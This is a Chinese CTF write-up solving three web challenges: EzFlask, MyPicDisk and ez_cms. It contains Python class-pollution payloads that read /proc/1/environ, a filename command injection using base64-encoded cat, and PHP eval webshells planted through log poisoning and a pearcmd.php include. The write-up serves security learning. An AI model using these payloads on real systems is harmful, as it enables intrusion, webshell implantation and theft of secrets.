EzFlask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

审计源码,存在标志性函数merge,为python类原型链污染,继续审计发现可利用函数open(‘’,’’).read(),构造json代码,修改FILE的数值为想要读取的内容,这里读取环境变量

1
2
{"username":"123","password":"123","__init__":{"__globals__": {"__file__":"/proc/1/environ"}}}
//前面的username和password是为了绕过代码检查

提交后经检查发现字符串init被过滤

1
2
3
4
5
这里可以使用unicode编码进行绕过
\u0000\u005f\u0000\u005f\u0000\u0069\u0000\u006e\u0000\u0069\u0000\u0074\u0000\u005f\u0000\u005f
{"username":"123","password":"123","\u0000\u005f\u0000\u005f\u0000\u0069\u0000\u006e\u0000\u0069\u0000\u0074\u0000\u005f\u0000\u005f":{"__globals__": {"__file__":"/proc/1/environ"}}}
或者使用user类的check函数进行实例化绕过
{"username":"123","password":"123","check":{"__globals__": {"__file__":"/proc/1/environ"}}}

得到flag

MyPicDisk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

分析源码

1
2
3
4
5
如果不存在session['user'],出现登录表单,提交表单之后就会给session['user']进行赋值。
第一次登录后再回到原表单就会触发js提示不是admin,并获得源码文件的位置,进入下一个if

如果不存在file,那就触发文件上传表单,action为index.php,如果存在上传文件,那么就对文件后缀进行判断并返回上传成功提示
如果存在file,那么就将文件名赋值给$filename,然后引用FILE类对文件名进行处理,construct主要是过滤了/和多个.,且判断了文件是否存在,如果文件存在,那么就执行system函数

具体操作

image-20230722205650142

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#index.php

<!DOCTYPE html>
<html>
<head>
<title>用户登录</title>
</head>
<body>
<h2>用户登录</h2>
<form action="http://2f3204e1-d884-4172-86aa-0ac751e580de.node4.buuoj.cn:81/index.php" method="post" enctype="multipart/form-data">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required><br>

<label for="password">密码:</label>
<input type="password" id="password" name="password" required><br>

<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>

<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
1
2
3
4
写表单进行登录和文件上传,上传文件之后再用另一个界面进行getfile,传入的file名必须和上传的文件名是一样的,进而触发system命令执行。
由于对/和.具有严格过滤,所以这里采用编码绕过
;`echo Y2F0IC9hZGoq | base64 -d`;.jpg
bp传参需要把空格改为+号

ez_cms

1
看到是个网页直接盲猜一手后台管理界面/admin,然后弱口令试了一下就进去了

image-20230722211756542

这里是有一个任意文件读取漏洞,but好像没什么卵用

1
2
3
4
然后就想是否可以进行日志包含
添加UA:<?php eval($_POST[chuling]); ?>
然后访问url: url/admin/r=../../../../../../var/log/nginx/access.log
用蚁剑尝试连接,结果失败了。

这时候就又来了一个pearcmd.php文件包含

参考博客:https://blog.csdn.net/Mrs_H/article/details/122386511

1
2
3
具体操作为?+config-create+/&r=/../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['1']);?>+/tmp/chuling2.php

成功之后直接蚁剑连接得到flag

image-20230722214619617